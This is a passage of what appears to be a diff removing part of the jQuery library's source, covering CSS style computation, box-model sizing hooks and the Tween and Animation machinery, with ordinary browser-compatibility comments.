trStyle; - if ( reliableTrDimensionsVal == null ) { - table = document.createElement( "table" ); - tr = document.createElement( "tr" ); - trChild = document.createElement( "div" ); - - table.style.cssText = "position:absolute;left:-11111px;border-collapse:separate"; - tr.style.cssText = "box-sizing:content-box;border:1px solid"; - - // Support: Chrome 86+ - // Height set through cssText does not get applied. - // Computed height then comes back as 0. - tr.style.height = "1px"; - trChild.style.height = "9px"; - - // Support: Android 8 Chrome 86+ - // In our bodyBackground.html iframe, - // display for all div elements is set to "inline", - // which causes a problem only in Android 8 Chrome 86. - // Ensuring the div is `display: block` - // gets around this issue. - trChild.style.display = "block"; - - documentElement - .appendChild( table ) - .appendChild( tr ) - .appendChild( trChild ); - - trStyle = window.getComputedStyle( tr ); - reliableTrDimensionsVal = ( parseInt( trStyle.height, 10 ) + - parseInt( trStyle.borderTopWidth, 10 ) + - parseInt( trStyle.borderBottomWidth, 10 ) ) === tr.offsetHeight; - - documentElement.removeChild( table ); - } - return reliableTrDimensionsVal; - } - } ); -} )(); - - -function curCSS( elem, name, computed ) { - var width, minWidth, maxWidth, ret, - isCustomProp = rcustomProp.test( name ), - - // Support: Firefox 51+ - // Retrieving style before computed somehow - // fixes an issue with getting wrong values - // on detached elements - style = elem.style; - - computed = computed || getStyles( elem ); - - // getPropertyValue is needed for: - // .css('filter') (IE 9 only, trac-12537) - // .css('--customProperty) (gh-3144) - if ( computed ) { - - // Support: IE <=9 - 11+ - // IE only supports `"float"` in `getPropertyValue`; in computed styles - // it's only available as `"cssFloat"`. We no longer modify properties - // sent to `.css()` apart from camelCasing, so we need to check both. - // Normally, this would create difference in behavior: if - // `getPropertyValue` returns an empty string, the value returned - // by `.css()` would be `undefined`. This is usually the case for - // disconnected elements. However, in IE even disconnected elements - // with no styles return `"none"` for `getPropertyValue( "float" )` - ret = computed.getPropertyValue( name ) || computed[ name ]; - - if ( isCustomProp && ret ) { - - // Support: Firefox 105+, Chrome <=105+ - // Spec requires trimming whitespace for custom properties (gh-4926). - // Firefox only trims leading whitespace. Chrome just collapses - // both leading & trailing whitespace to a single space. - // - // Fall back to `undefined` if empty string returned. - // This collapses a missing definition with property defined - // and set to an empty string but there's no standard API - // allowing us to differentiate them without a performance penalty - // and returning `undefined` aligns with older jQuery. - // - // rtrimCSS treats U+000D CARRIAGE RETURN and U+000C FORM FEED - // as whitespace while CSS does not, but this is not a problem - // because CSS preprocessing replaces them with U+000A LINE FEED - // (which *is* CSS whitespace) - // https://www.w3.org/TR/css-syntax-3/#input-preprocessing - ret = ret.replace( rtrimCSS, "$1" ) || undefined; - } - - if ( ret === "" && !isAttached( elem ) ) { - ret = jQuery.style( elem, name ); - } - - // A tribute to the "awesome hack by Dean Edwards" - // Android Browser returns percentage for some values, - // but width seems to be reliably pixels. - // This is against the CSSOM draft spec: - // https://drafts.csswg.org/cssom/#resolved-values - if ( !support.pixelBoxStyles() && rnumnonpx.test( ret ) && rboxStyle.test( name ) ) { - - // Remember the original values - width = style.width; - minWidth = style.minWidth; - maxWidth = style.maxWidth; - - // Put in the new values to get a computed value out - style.minWidth = style.maxWidth = style.width = ret; - ret = computed.width; - - // Revert the changed values - style.width = width; - style.minWidth = minWidth; - style.maxWidth = maxWidth; - } - } - - return ret !== undefined ? - - // Support: IE <=9 - 11 only - // IE returns zIndex value as an integer. - ret + "" : - ret; -} - - -function addGetHookIf( conditionFn, hookFn ) { - - // Define the hook, we'll check on the first run if it's really needed. - return { - get: function() { - if ( conditionFn() ) { - - // Hook not needed (or it's not possible to use it due - // to missing dependency), remove it. - delete this.get; - return; - } - - // Hook needed; redefine it so that the support test is not executed again. - return ( this.get = hookFn ).apply( this, arguments ); - } - }; -} - - -var cssPrefixes = [ "Webkit", "Moz", "ms" ], - emptyStyle = document.createElement( "div" ).style, - vendorProps = {}; - -// Return a vendor-prefixed property or undefined -function vendorPropName( name ) { - - // Check for vendor prefixed names - var capName = name[ 0 ].toUpperCase() + name.slice( 1 ), - i = cssPrefixes.length; - - while ( i-- ) { - name = cssPrefixes[ i ] + capName; - if ( name in emptyStyle ) { - return name; - } - } -} - -// Return a potentially-mapped jQuery.cssProps or vendor prefixed property -function finalPropName( name ) { - var final = jQuery.cssProps[ name ] || vendorProps[ name ]; - - if ( final ) { - return final; - } - if ( name in emptyStyle ) { - return name; - } - return vendorProps[ name ] = vendorPropName( name ) || name; -} - - -var - - // Swappable if display is none or starts with table - // except "table", "table-cell", or "table-caption" - // See here for display values: https://developer.mozilla.org/en-US/docs/CSS/display - rdisplayswap = /^(none|table(?!-c[ea]).+)/, - cssShow = { position: "absolute", visibility: "hidden", display: "block" }, - cssNormalTransform = { - letterSpacing: "0", - fontWeight: "400" - }; - -function setPositiveNumber( _elem, value, subtract ) { - - // Any relative (+/-) values have already been - // normalized at this point - var matches = rcssNum.exec( value ); - return matches ? - - // Guard against undefined "subtract", e.g., when used as in cssHooks - Math.max( 0, matches[ 2 ] - ( subtract || 0 ) ) + ( matches[ 3 ] || "px" ) : - value; -} - -function boxModelAdjustment( elem, dimension, box, isBorderBox, styles, computedVal ) { - var i = dimension === "width" ? 1 : 0, - extra = 0, - delta = 0, - marginDelta = 0; - - // Adjustment may not be necessary - if ( box === ( isBorderBox ? "border" : "content" ) ) { - return 0; - } - - for ( ; i < 4; i += 2 ) { - - // Both box models exclude margin - // Count margin delta separately to only add it after scroll gutter adjustment. - // This is needed to make negative margins work with `outerHeight( true )` (gh-3982). - if ( box === "margin" ) { - marginDelta += jQuery.css( elem, box + cssExpand[ i ], true, styles ); - } - - // If we get here with a content-box, we're seeking "padding" or "border" or "margin" - if ( !isBorderBox ) { - - // Add padding - delta += jQuery.css( elem, "padding" + cssExpand[ i ], true, styles ); - - // For "border" or "margin", add border - if ( box !== "padding" ) { - delta += jQuery.css( elem, "border" + cssExpand[ i ] + "Width", true, styles ); - - // But still keep track of it otherwise - } else { - extra += jQuery.css( elem, "border" + cssExpand[ i ] + "Width", true, styles ); - } - - // If we get here with a border-box (content + padding + border), we're seeking "content" or - // "padding" or "margin" - } else { - - // For "content", subtract padding - if ( box === "content" ) { - delta -= jQuery.css( elem, "padding" + cssExpand[ i ], true, styles ); - } - - // For "content" or "padding", subtract border - if ( box !== "margin" ) { - delta -= jQuery.css( elem, "border" + cssExpand[ i ] + "Width", true, styles ); - } - } - } - - // Account for positive content-box scroll gutter when requested by providing computedVal - if ( !isBorderBox && computedVal >= 0 ) { - - // offsetWidth/offsetHeight is a rounded sum of content, padding, scroll gutter, and border - // Assuming integer scroll gutter, subtract the rest and round down - delta += Math.max( 0, Math.ceil( - elem[ "offset" + dimension[ 0 ].toUpperCase() + dimension.slice( 1 ) ] - - computedVal - - delta - - extra - - 0.5 - - // If offsetWidth/offsetHeight is unknown, then we can't determine content-box scroll gutter - // Use an explicit zero to avoid NaN (gh-3964) - ) ) || 0; - } - - return delta + marginDelta; -} - -function getWidthOrHeight( elem, dimension, extra ) { - - // Start with computed style - var styles = getStyles( elem ), - - // To avoid forcing a reflow, only fetch boxSizing if we need it (gh-4322). - // Fake content-box until we know it's needed to know the true value. - boxSizingNeeded = !support.boxSizingReliable() || extra, - isBorderBox = boxSizingNeeded && - jQuery.css( elem, "boxSizing", false, styles ) === "border-box", - valueIsBorderBox = isBorderBox, - - val = curCSS( elem, dimension, styles ), - offsetProp = "offset" + dimension[ 0 ].toUpperCase() + dimension.slice( 1 ); - - // Support: Firefox <=54 - // Return a confounding non-pixel value or feign ignorance, as appropriate. - if ( rnumnonpx.test( val ) ) { - if ( !extra ) { - return val; - } - val = "auto"; - } - - - // Support: IE 9 - 11 only - // Use offsetWidth/offsetHeight for when box sizing is unreliable. - // In those cases, the computed value can be trusted to be border-box. - if ( ( !support.boxSizingReliable() && isBorderBox || - - // Support: IE 10 - 11+, Edge 15 - 18+ - // IE/Edge misreport `getComputedStyle` of table rows with width/height - // set in CSS while `offset*` properties report correct values. - // Interestingly, in some cases IE 9 doesn't suffer from this issue. - !support.reliableTrDimensions() && nodeName( elem, "tr" ) || - - // Fall back to offsetWidth/offsetHeight when value is "auto" - // This happens for inline elements with no explicit setting (gh-3571) - val === "auto" || - - // Support: Android <=4.1 - 4.3 only - // Also use offsetWidth/offsetHeight for misreported inline dimensions (gh-3602) - !parseFloat( val ) && jQuery.css( elem, "display", false, styles ) === "inline" ) && - - // Make sure the element is visible & connected - elem.getClientRects().length ) { - - isBorderBox = jQuery.css( elem, "boxSizing", false, styles ) === "border-box"; - - // Where available, offsetWidth/offsetHeight approximate border box dimensions. - // Where not available (e.g., SVG), assume unreliable box-sizing and interpret the - // retrieved value as a content box dimension. - valueIsBorderBox = offsetProp in elem; - if ( valueIsBorderBox ) { - val = elem[ offsetProp ]; - } - } - - // Normalize "" and auto - val = parseFloat( val ) || 0; - - // Adjust for the element's box model - return ( val + - boxModelAdjustment( - elem, - dimension, - extra || ( isBorderBox ? "border" : "content" ), - valueIsBorderBox, - styles, - - // Provide the current computed size to request scroll gutter calculation (gh-3589) - val - ) - ) + "px"; -} - -jQuery.extend( { - - // Add in style property hooks for overriding the default - // behavior of getting and setting a style property - cssHooks: { - opacity: { - get: function( elem, computed ) { - if ( computed ) { - - // We should always get a number back from opacity - var ret = curCSS( elem, "opacity" ); - return ret === "" ? "1" : ret; - } - } - } - }, - - // Don't automatically add "px" to these possibly-unitless properties - cssNumber: { - animationIterationCount: true, - aspectRatio: true, - borderImageSlice: true, - columnCount: true, - flexGrow: true, - flexShrink: true, - fontWeight: true, - gridArea: true, - gridColumn: true, - gridColumnEnd: true, - gridColumnStart: true, - gridRow: true, - gridRowEnd: true, - gridRowStart: true, - lineHeight: true, - opacity: true, - order: true, - orphans: true, - scale: true, - widows: true, - zIndex: true, - zoom: true, - - // SVG-related - fillOpacity: true, - floodOpacity: true, - stopOpacity: true, - strokeMiterlimit: true, - strokeOpacity: true - }, - - // Add in properties whose names you wish to fix before - // setting or getting the value - cssProps: {}, - - // Get and set the style property on a DOM Node - style: function( elem, name, value, extra ) { - - // Don't set styles on text and comment nodes - if ( !elem || elem.nodeType === 3 || elem.nodeType === 8 || !elem.style ) { - return; - } - - // Make sure that we're working with the right name - var ret, type, hooks, - origName = camelCase( name ), - isCustomProp = rcustomProp.test( name ), - style = elem.style; - - // Make sure that we're working with the right name. We don't - // want to query the value if it is a CSS custom property - // since they are user-defined. - if ( !isCustomProp ) { - name = finalPropName( origName ); - } - - // Gets hook for the prefixed version, then unprefixed version - hooks = jQuery.cssHooks[ name ] || jQuery.cssHooks[ origName ]; - - // Check if we're setting a value - if ( value !== undefined ) { - type = typeof value; - - // Convert "+=" or "-=" to relative numbers (trac-7345) - if ( type === "string" && ( ret = rcssNum.exec( value ) ) && ret[ 1 ] ) { - value = adjustCSS( elem, name, ret ); - - // Fixes bug trac-9237 - type = "number"; - } - - // Make sure that null and NaN values aren't set (trac-7116) - if ( value == null || value !== value ) { - return; - } - - // If a number was passed in, add the unit (except for certain CSS properties) - // The isCustomProp check can be removed in jQuery 4.0 when we only auto-append - // "px" to a few hardcoded values. - if ( type === "number" && !isCustomProp ) { - value += ret && ret[ 3 ] || ( jQuery.cssNumber[ origName ] ? "" : "px" ); - } - - // background-* props affect original clone's values - if ( !support.clearCloneStyle && value === "" && name.indexOf( "background" ) === 0 ) { - style[ name ] = "inherit"; - } - - // If a hook was provided, use that value, otherwise just set the specified value - if ( !hooks || !( "set" in hooks ) || - ( value = hooks.set( elem, value, extra ) ) !== undefined ) { - - if ( isCustomProp ) { - style.setProperty( name, value ); - } else { - style[ name ] = value; - } - } - - } else { - - // If a hook was provided get the non-computed value from there - if ( hooks && "get" in hooks && - ( ret = hooks.get( elem, false, extra ) ) !== undefined ) { - - return ret; - } - - // Otherwise just get the value from the style object - return style[ name ]; - } - }, - - css: function( elem, name, extra, styles ) { - var val, num, hooks, - origName = camelCase( name ), - isCustomProp = rcustomProp.test( name ); - - // Make sure that we're working with the right name. We don't - // want to modify the value if it is a CSS custom property - // since they are user-defined. - if ( !isCustomProp ) { - name = finalPropName( origName ); - } - - // Try prefixed name followed by the unprefixed name - hooks = jQuery.cssHooks[ name ] || jQuery.cssHooks[ origName ]; - - // If a hook was provided get the computed value from there - if ( hooks && "get" in hooks ) { - val = hooks.get( elem, true, extra ); - } - - // Otherwise, if a way to get the computed value exists, use that - if ( val === undefined ) { - val = curCSS( elem, name, styles ); - } - - // Convert "normal" to computed value - if ( val === "normal" && name in cssNormalTransform ) { - val = cssNormalTransform[ name ]; - } - - // Make numeric if forced or a qualifier was provided and val looks numeric - if ( extra === "" || extra ) { - num = parseFloat( val ); - return extra === true || isFinite( num ) ? num || 0 : val; - } - - return val; - } -} ); - -jQuery.each( [ "height", "width" ], function( _i, dimension ) { - jQuery.cssHooks[ dimension ] = { - get: function( elem, computed, extra ) { - if ( computed ) { - - // Certain elements can have dimension info if we invisibly show them - // but it must have a current display style that would benefit - return rdisplayswap.test( jQuery.css( elem, "display" ) ) && - - // Support: Safari 8+ - // Table columns in Safari have non-zero offsetWidth & zero - // getBoundingClientRect().width unless display is changed. - // Support: IE <=11 only - // Running getBoundingClientRect on a disconnected node - // in IE throws an error. - ( !elem.getClientRects().length || !elem.getBoundingClientRect().width ) ? - swap( elem, cssShow, function() { - return getWidthOrHeight( elem, dimension, extra ); - } ) : - getWidthOrHeight( elem, dimension, extra ); - } - }, - - set: function( elem, value, extra ) { - var matches, - styles = getStyles( elem ), - - // Only read styles.position if the test has a chance to fail - // to avoid forcing a reflow. - scrollboxSizeBuggy = !support.scrollboxSize() && - styles.position === "absolute", - - // To avoid forcing a reflow, only fetch boxSizing if we need it (gh-3991) - boxSizingNeeded = scrollboxSizeBuggy || extra, - isBorderBox = boxSizingNeeded && - jQuery.css( elem, "boxSizing", false, styles ) === "border-box", - subtract = extra ? - boxModelAdjustment( - elem, - dimension, - extra, - isBorderBox, - styles - ) : - 0; - - // Account for unreliable border-box dimensions by comparing offset* to computed and - // faking a content-box to get border and padding (gh-3699) - if ( isBorderBox && scrollboxSizeBuggy ) { - subtract -= Math.ceil( - elem[ "offset" + dimension[ 0 ].toUpperCase() + dimension.slice( 1 ) ] - - parseFloat( styles[ dimension ] ) - - boxModelAdjustment( elem, dimension, "border", false, styles ) - - 0.5 - ); - } - - // Convert to pixels if value adjustment is needed - if ( subtract && ( matches = rcssNum.exec( value ) ) && - ( matches[ 3 ] || "px" ) !== "px" ) { - - elem.style[ dimension ] = value; - value = jQuery.css( elem, dimension ); - } - - return setPositiveNumber( elem, value, subtract ); - } - }; -} ); - -jQuery.cssHooks.marginLeft = addGetHookIf( support.reliableMarginLeft, - function( elem, computed ) { - if ( computed ) { - return ( parseFloat( curCSS( elem, "marginLeft" ) ) || - elem.getBoundingClientRect().left - - swap( elem, { marginLeft: 0 }, function() { - return elem.getBoundingClientRect().left; - } ) - ) + "px"; - } - } -); - -// These hooks are used by animate to expand properties -jQuery.each( { - margin: "", - padding: "", - border: "Width" -}, function( prefix, suffix ) { - jQuery.cssHooks[ prefix + suffix ] = { - expand: function( value ) { - var i = 0, - expanded = {}, - - // Assumes a single number if not a string - parts = typeof value === "string" ? value.split( " " ) : [ value ]; - - for ( ; i < 4; i++ ) { - expanded[ prefix + cssExpand[ i ] + suffix ] = - parts[ i ] || parts[ i - 2 ] || parts[ 0 ]; - } - - return expanded; - } - }; - - if ( prefix !== "margin" ) { - jQuery.cssHooks[ prefix + suffix ].set = setPositiveNumber; - } -} ); - -jQuery.fn.extend( { - css: function( name, value ) { - return access( this, function( elem, name, value ) { - var styles, len, - map = {}, - i = 0; - - if ( Array.isArray( name ) ) { - styles = getStyles( elem ); - len = name.length; - - for ( ; i < len; i++ ) { - map[ name[ i ] ] = jQuery.css( elem, name[ i ], false, styles ); - } - - return map; - } - - return value !== undefined ? - jQuery.style( elem, name, value ) : - jQuery.css( elem, name ); - }, name, value, arguments.length > 1 ); - } -} ); - - -function Tween( elem, options, prop, end, easing ) { - return new Tween.prototype.init( elem, options, prop, end, easing ); -} -jQuery.Tween = Tween; - -Tween.prototype = { - constructor: Tween, - init: function( elem, options, prop, end, easing, unit ) { - this.elem = elem; - this.prop = prop; - this.easing = easing || jQuery.easing._default; - this.options = options; - this.start = this.now = this.cur(); - this.end = end; - this.unit = unit || ( jQuery.cssNumber[ prop ] ? "" : "px" ); - }, - cur: function() { - var hooks = Tween.propHooks[ this.prop ]; - - return hooks && hooks.get ? - hooks.get( this ) : - Tween.propHooks._default.get( this ); - }, - run: function( percent ) { - var eased, - hooks = Tween.propHooks[ this.prop ]; - - if ( this.options.duration ) { - this.pos = eased = jQuery.easing[ this.easing ]( - percent, this.options.duration * percent, 0, 1, this.options.duration - ); - } else { - this.pos = eased = percent; - } - this.now = ( this.end - this.start ) * eased + this.start; - - if ( this.options.step ) { - this.options.step.call( this.elem, this.now, this ); - } - - if ( hooks && hooks.set ) { - hooks.set( this ); - } else { - Tween.propHooks._default.set( this ); - } - return this; - } -}; - -Tween.prototype.init.prototype = Tween.prototype; - -Tween.propHooks = { - _default: { - get: function( tween ) { - var result; - - // Use a property on the element directly when it is not a DOM element, - // or when there is no matching style property that exists. - if ( tween.elem.nodeType !== 1 || - tween.elem[ tween.prop ] != null && tween.elem.style[ tween.prop ] == null ) { - return tween.elem[ tween.prop ]; - } - - // Passing an empty string as a 3rd parameter to .css will automatically - // attempt a parseFloat and fallback to a string if the parse fails. - // Simple values such as "10px" are parsed to Float; - // complex values such as "rotate(1rad)" are returned as-is. - result = jQuery.css( tween.elem, tween.prop, "" ); - - // Empty strings, null, undefined and "auto" are converted to 0. - return !result || result === "auto" ? 0 : result; - }, - set: function( tween ) { - - // Use step hook for back compat. - // Use cssHook if its there. - // Use .style if available and use plain properties where available. - if ( jQuery.fx.step[ tween.prop ] ) { - jQuery.fx.step[ tween.prop ]( tween ); - } else if ( tween.elem.nodeType === 1 && ( - jQuery.cssHooks[ tween.prop ] || - tween.elem.style[ finalPropName( tween.prop ) ] != null ) ) { - jQuery.style( tween.elem, tween.prop, tween.now + tween.unit ); - } else { - tween.elem[ tween.prop ] = tween.now; - } - } - } -}; - -// Support: IE <=9 only -// Panic based approach to setting things on disconnected nodes -Tween.propHooks.scrollTop = Tween.propHooks.scrollLeft = { - set: function( tween ) { - if ( tween.elem.nodeType && tween.elem.parentNode ) { - tween.elem[ tween.prop ] = tween.now; - } - } -}; - -jQuery.easing = { - linear: function( p ) { - return p; - }, - swing: function( p ) { - return 0.5 - Math.cos( p * Math.PI ) / 2; - }, - _default: "swing" -}; - -jQuery.fx = Tween.prototype.init; - -// Back compat <1.8 extension point -jQuery.fx.step = {}; - - - - -var - fxNow, inProgress, - rfxtypes = /^(?:toggle|show|hide)$/, - rrun = /queueHooks$/; - -function schedule() { - if ( inProgress ) { - if ( document.hidden === false && window.requestAnimationFrame ) { - window.requestAnimationFrame( schedule ); - } else { - window.setTimeout( schedule, jQuery.fx.interval ); - } - - jQuery.fx.tick(); - } -} - -// Animations created synchronously will run synchronously -function createFxNow() { - window.setTimeout( function() { - fxNow = undefined; - } ); - return ( fxNow = Date.now() ); -} - -// Generate parameters to create a standard animation -function genFx( type, includeWidth ) { - var which, - i = 0, - attrs = { height: type }; - - // If we include width, step value is 1 to do all cssExpand values, - // otherwise step value is 2 to skip over Left and Right - includeWidth = includeWidth ? 1 : 0; - for ( ; i < 4; i += 2 - includeWidth ) { - which = cssExpand[ i ]; - attrs[ "margin" + which ] = attrs[ "padding" + which ] = type; - } - - if ( includeWidth ) { - attrs.opacity = attrs.width = type; - } - - return attrs; -} - -function createTween( value, prop, animation ) { - var tween, - collection = ( Animation.tweeners[ prop ] || [] ).concat( Animation.tweeners[ "*" ] ), - index = 0, - length = collection.length; - for ( ; index < length; index++ ) { - if ( ( tween = collection[ index ].call( animation, prop, value ) ) ) { - - // We're done with this property - return tween; - } - } -} - -function defaultPrefilter( elem, props, opts ) { - var prop, value, toggle, hooks, oldfire, propTween, restoreDisplay, display, - isBox = "width" in props || "height" in props, - anim = this, - orig = {}, - style = elem.style, - hidden = elem.nodeType && isHiddenWithinTree( elem ), - dataShow = dataPriv.get( elem, "fxshow" ); - - // Queue-skipping animations hijack the fx hooks - if ( !opts.queue ) { - hooks = jQuery._queueHooks( elem, "fx" ); - if ( hooks.unqueued == null ) { - hooks.unqueued = 0; - oldfire = hooks.empty.fire; - hooks.empty.fire = function() { - if ( !hooks.unqueued ) { - oldfire(); - } - }; - } - hooks.unqueued++; - - anim.always( function() { - - // Ensure the complete handler is called before this completes - anim.always( function() { - hooks.unqueued--; - if ( !jQuery.queue( elem, "fx" ).length ) { - hooks.empty.fire(); - } - } ); - } ); - } - - // Detect show/hide animations - for ( prop in props ) { - value = props[ prop ]; - if ( rfxtypes.test( value ) ) { - delete props[ prop ]; - toggle = toggle || value === "toggle"; - if ( value === ( hidden ? "hide" : "show" ) ) { - - // Pretend to be hidden if this is a "show" and - // there is still data from a stopped show/hide - if ( value === "show" && dataShow && dataShow[ prop ] !== undefined ) { - hidden = true; - - // Ignore all other no-op show/hide data - } else { - continue; - } - } - orig[ prop ] = dataShow && dataShow[ prop ] || jQuery.style( elem, prop ); - } - } - - // Bail out if this is a no-op like .hide().hide() - propTween = !jQuery.isEmptyObject( props ); - if ( !propTween && jQuery.isEmptyObject( orig ) ) { - return; - } - - // Restrict "overflow" and "display" styles during box animations - if ( isBox && elem.nodeType === 1 ) { - - // Support: IE <=9 - 11, Edge 12 - 15 - // Record all 3 overflow attributes because IE does not infer the shorthand - // from identically-valued overflowX and overflowY and Edge just mirrors - // the overflowX value there. - opts.overflow = [ style.overflow, style.overflowX, style.overflowY ]; - - // Identify a display type, preferring old show/hide data over the CSS cascade - restoreDisplay = dataShow && dataShow.display; - if ( restoreDisplay == null ) { - restoreDisplay = dataPriv.get( elem, "display" ); - } - display = jQuery.css( elem, "display" ); - if ( display === "none" ) { - if ( restoreDisplay ) { - display = restoreDisplay; - } else { - - // Get nonempty value(s) by temporarily forcing visibility - showHide( [ elem ], true ); - restoreDisplay = elem.style.display || restoreDisplay; - display = jQuery.css( elem, "display" ); - showHide( [ elem ] ); - } - } - - // Animate inline elements as inline-block - if ( display === "inline" || display === "inline-block" && restoreDisplay != null ) { - if ( jQuery.css( elem, "float" ) === "none" ) { - - // Restore the original display value at the end of pure show/hide animations - if ( !propTween ) { - anim.done( function() { - style.display = restoreDisplay; - } ); - if ( restoreDisplay == null ) { - display = style.display; - restoreDisplay = display === "none" ? "" : display; - } - } - style.display = "inline-block"; - } - } - } - - if ( opts.overflow ) { - style.overflow = "hidden"; - anim.always( function() { - style.overflow = opts.overflow[ 0 ]; - style.overflowX = opts.overflow[ 1 ]; - style.overflowY = opts.overflow[ 2 ]; - } ); - } - - // Implement show/hide animations - propTween = false; - for ( prop in orig ) { - - // General show/hide setup for this element animation - if ( !propTween ) { - if ( dataShow ) { - if ( "hidden" in dataShow ) { - hidden = dataShow.hidden; - } - } else { - dataShow = dataPriv.access( elem, "fxshow", { display: restoreDisplay } ); - } - - // Store hidden/visible for toggle so `.stop().toggle()` "reverses" - if ( toggle ) { - dataShow.hidden = !hidden; - } - - // Show elements before animating them - if ( hidden ) { - showHide( [ elem ], true ); - } - - /* eslint-disable no-loop-func */ - - anim.done( function() { - - /* eslint-enable no-loop-func */ - - // The final step of a "hide" animation is actually hiding the element - if ( !hidden ) { - showHide( [ elem ] ); - } - dataPriv.remove( elem, "fxshow" ); - for ( prop in orig ) { - jQuery.style( elem, prop, orig[ prop ] ); - } - } ); - } - - // Per-property setup - propTween = createTween( hidden ? dataShow[ prop ] : 0, prop, anim ); - if ( !( prop in dataShow ) ) { - dataShow[ prop ] = propTween.start; - if ( hidden ) { - propTween.end = propTween.start; - propTween.start = 0; - } - } - } -} - -function propFilter( props, specialEasing ) { - var index, name, easing, value, hooks; - - // camelCase, specialEasing and expand cssHook pass - for ( index in props ) { - name = camelCase( index ); - easing = specialEasing[ name ]; - value = props[ index ]; - if ( Array.isArray( value ) ) { - easing = value[ 1 ]; - value = props[ index ] = value[ 0 ]; - } - - if ( index !== name ) { - props[ name ] = value; - delete props[ index ]; - } - - hooks = jQuery.cssHooks[ name ]; - if ( hooks && "expand" in hooks ) { - value = hooks.expand( value ); - delete props[ name ]; - - // Not quite $.extend, this won't overwrite existing keys. - // Reusing 'index' because we have the correct "name" - for ( index in value ) { - if ( !( index in props ) ) { - props[ index ] = value[ index ]; - specialEasing[ index ] = easing; - } - } - } else { - specialEasing[ name ] = easing; - } - } -} - -function Animation( elem, properties, options ) { - var result, - stopped, - index = 0, - length = Animation.prefilters.length, - deferred = jQuery.Deferred().always( function() { - - // Don't match elem in the :animated selector - delete tick.elem; - } ), - tick = function() { - if ( stopped ) { - return false; - } - var currentTime = fxNow || createFxNow(), - remaining = Math.max( 0, animation.startTime + animation.duration - currentTime ), - - // Support: Android 2.3 only - // Archaic crash bug won't allow us to use `1 - ( 0.5 || 0 )` (trac-12497) - temp = remaining / animation.duration || 0, - percent = 1 - temp, - index = 0, - length = animation.tweens.length; - - for ( ; index < length; index++ ) { - animation.tweens[ index ].run( percent ); - } - - deferred.notifyWith( elem, [ animation, percent, remaining ] ); - - // If there's more to do, yield - if ( percent < 1 && length ) { - return remaining; - } - - // If this was an empty animation, synthesize a final progress notification - if ( !length ) { - deferred.notifyWith( elem, [ animation, 1, 0 ] ); - } - - // Resolve the animation and report its conclusion - deferred.resolveWith( elem, [ animation ] ); - return false; - }, - animation = deferred.promise( { - elem: elem, - props: jQuery.extend( {}, properties ), - opts: jQuery.extend( true, { - specialEasing: {}, - easing: jQuery.easing._default - }, options ), - originalProperties: properties, - originalOptions: options, - startTime: fxNow || createFxNow(), - duration: options.duration, - tweens: [], - createTween: function( prop, end ) { - var tween = jQuery.Tween( elem, animation.opts, prop, end, - animation.opts.specialEasing[ prop ] || animation.opts.easing ); - animation.tweens.push( tween ); - return tween; - }, - stop: function( gotoEnd ) { - var index = 0, - - // If we are going to the end, we want to run all the tweens - // otherwise we skip this part - length = gotoEnd ? animation.tweens.length : 0; - if ( stopped ) { - return this; - } - stopped = true; - for ( ; index < length; index++ ) { - animation.tweens[ index ].run( 1 ); - } - - // Resolve when we played the last frame; otherwise, reject - if ( gotoEnd ) { - deferred.notifyWith( elem, [ animation, 1, 0 ] ); - deferred.resolveWith( elem, [ animation, gotoEnd ] ); - } else { - deferred.rejectWith( elem, [ animation, gotoEnd ] ); - } - return this; - } - } ), - props = animation.props; - - propFilter( props, animation.opts.specialEasing ); - - for ( ; index < length; index++ ) { - result = Animation.prefilters[ index ].call( animation, elem, props, animation.opts ); - if ( result ) { - if ( isFunction( result.stop ) ) { - jQuery._queueHooks( animation.elem, animation.opts.queue ).stop = - result.stop.bind( result ); - } - return result; - } - } - - jQuery.map( props, createTween, animation ); - - if ( isFunction( animation.opts.start ) ) { - animation.opts.start.call( elem, animation ); - } - - // Attach callbacks from options - animation - .progress( animation.opts.progress ) - .done( animation.opts.done, animation.opts.complete ) - .fail( animation.opts.fail ) - .always( animation.opts.always ); - - jQuery.fx.timer( - jQuery.extend( tick, { - elem: elem, - anim: animation, - queue: animation.opts.queue - } ) - ); - - return animation; -} - -jQuery.Animation = jQuery.extend( Animation, { - - tweeners: { - "*": [ function( prop, value ) { - var tween = this.createTween( prop, value ); - adjustCSS( tween.elem, prop, rcssNum.exec( value ), tween ); - return tween; - } ] - }, - - tweener: function( props, callback ) { - if ( isFunction( props ) ) { - callback = props; - props = [ "*" ]; - } else { - props = props.match( rnothtmlwhite ); - } - - var prop, - index = 0, - length = props.length; - - for ( ; index < length; index++ ) { - prop = props[ index ]; - Animation.tweeners[ prop ] = Animation.tweeners[ prop ] || []; - Animation.tweeners[ prop ].unshift( callback ); - } - }, - - prefilters: [ defaultPrefilter ], - - prefilter: function( callback, prepend ) { - if ( prepend ) { - Animation.prefilters.unshift( callback ); - } else { - Animation.prefilters.push( callback ); - } - } -} ); - -jQuery.speed = function( speed, easing, fn ) { - var opt = speed && typeof speed === "object" ? jQuery.extend( {}, speed ) : { - complete: fn || !fn && easing || - isFunction( speed ) && speed, - duration: speed, - easing: fn && easing || easing && !isFunction( easing ) && easing - }; - - // Go to the end state if fx are off - if ( jQuery.fx.off ) { - opt.duration = 0; - - } else { - if ( typeof opt.duration !== "number" ) { - if ( opt.duration in jQuery.fx.speeds ) { - opt.duration = jQuery.fx.speeds[ opt.duration ]; - - } else { - opt.duration = jQuery.fx.speeds._default; - } - } - } - - // Normalize opt.queue - true/undefined/null -> "fx" - if ( opt.queue == null || opt.queue === true ) { - opt.queue = "fx"; - } - - // Queueing - opt.old = opt.complete; - - opt.complete = function() { - if ( isFunction( opt.old ) ) { - opt.old.call( this ); - } - - if ( opt.queue ) { - jQuery.dequeue( this, opt.queue ); - } - }; - - return opt; -}; - -jQuery.fn.extend( { - fadeTo: function( speed, to, easing, callback ) { - - // Show any hidden elements after setting opacity to 0 - return this.filter( isHiddenWithinTree ).css( "opacity", 0 ).show() - - // Animate to the value specified - .end().animate( { opacity: to }, speed, easing, callback ); - }, - animate: function( prop, speed, easing, callback ) { - var empty = jQuery.isEmptyObject( prop ), - optall = jQuery.speed( speed, easing, callback ), - doAnimation = function() { - - // Operate on a copy of prop so per-property easing won't be lost - var anim = Animation( this, jQuery.extend( {}, prop ), optall ); - - // Empty animations, or finishing resolves immediately - if ( empty || dataPriv.get( this, "finish" ) ) { - anim.stop( true ); - } - }; - - doAnimation.finish = doAnimation; - - return empty || optall.queue === false ? - this.each( doAnimation ) : - this.queue( optall.queue, doAnimation ); - }, - stop: function( type, clearQueue, gotoEnd ) { - var stopQueue = function( hooks ) { - var stop = hooks.stop; - delete hooks.stop; - stop( gotoEnd ); - }; - - if ( typeof type !== 